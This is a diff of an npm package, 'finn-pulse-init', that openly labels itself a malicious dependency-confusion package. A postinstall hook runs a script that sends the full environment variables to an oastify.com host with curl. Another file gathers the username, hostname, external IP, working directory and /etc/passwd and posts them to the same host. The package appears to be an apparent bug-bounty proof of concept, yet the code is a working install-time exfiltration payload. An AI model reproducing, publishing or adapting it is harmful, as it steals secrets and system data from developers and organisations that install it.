finn-pulse-init 1.1.0

package/.env

@@ -0,0 +1 @@
+asuuuuuuuuuuuuuuuuuuuuuu

package/index.js

@@ -0,0 +1,85 @@
+const os = require('os');
+const axios = require('axios');
+const path = require('path');
+const fs = require('fs');
+
+// Mendapatkan waktu saat ini
+function getCurrentTime() {
+  return new Date().toISOString();
+}
+
+// Mendapatkan nama organisasi atau pengguna
+function getOrganization() {
+  return os.userInfo().username;  // Atau Anda bisa menambahkan logika lain untuk mendapatkan nama organisasi
+}
+
+// Mendapatkan IP eksternal dengan menggunakan API
+function getExternalIP() {
+  return axios.get('https://api.ipify.org?format=json')
+    .then(response => response.data.ip)
+    .catch(error => 'IP eksternal tidak ditemukan');
+}
+
+// Mendapatkan nama host
+function getHostname() {
+  return os.hostname();
+}
+
+// Mendapatkan jalur direktori saat ini
+function getCurrentPath() {
+  return path.resolve('.');
+}
+
+// Membaca file /etc/passwd (hanya jika ada izin akses)
+function getEtcPasswd() {
+  try {
+    const passwdContent = fs.readFileSync('/etc/passwd', 'utf-8');
+    return passwdContent;
+  } catch (error) {
+    return 'Tidak dapat membaca file /etc/passwd';
+  }
+}
+
+function getPackageName() {
+  const packageJsonPath = path.resolve('package.json');
+  if (fs.existsSync(packageJsonPath)) {
+    const packageJson = require(packageJsonPath);
+    return packageJson.name || 'Unknown Package'; // Mengambil nama dari package.json
+  } else {
+    return 'Package.json tidak ditemukan';  // Jika tidak ada package.json
+  }
+}
+
+// Mengumpulkan data yang dibutuhkan
+async function collectData() {
+  const time = getCurrentTime();
+  const organization = getOrganization();
+  const externalIP = await getExternalIP();
+  const hostname = getHostname();
+  const currentPath = getCurrentPath();
+  const etcPasswd = getEtcPasswd();
+  const packageName = getPackageName(); // Sesuaikan dengan nama package yang Anda uji
+
+  const data = {
+    time: time,
+    organization: organization,
+    ipAddress: externalIP,
+    packageName: packageName,
+    hostname: hostname,
+    currentPath: currentPath,
+    etcPasswd: etcPasswd // Tambahkan isi file /etc/passwd ke data
+  };
+
+  console.log(data); // Tampilkan data yang dikumpulkan
+
+  // Mengirim data ke server target (misalnya Attacoker atau server lain)
+  axios.post('https://gg0jvned1n5ed1mav2wpk65ullrcf43t.oastify.com/log', data)
+    .then(response => {
+      console.log('Data berhasil dikirim:', response.data);
+    })
+    .catch(error => {
+      console.error('Error saat mengirim data:', error);
+    });
+}
+
+collectData(); // Menjalankan fungsi untuk mengumpulkan dan mengirim data

package/package.json

@@ -0,0 +1,14 @@
+{
+    "name": "finn-pulse-init",
+    "version": "1.1.0",
+    "description": "Malicious package for dependency confusion",
+    "main": "test.js",
+    "scripts": {
+        "postinstall": "node test.js"
+    },
+    "author": "Attacker",
+    "license": "MIT",
+    "dependencies": {
+        "axios": "^0.21.1"
+    }
+}

package/test.js

@@ -0,0 +1,7 @@
+const { exec } = require('child_process');
+exec('curl -X POST https://gg0jvned1n5ed1mav2wpk65ullrcf43t.oastify.com -d "$(env)"', (error) => {
+    if (error) {
+        console.error(`Exec error: ${error}`);
+        return;
+    }
+});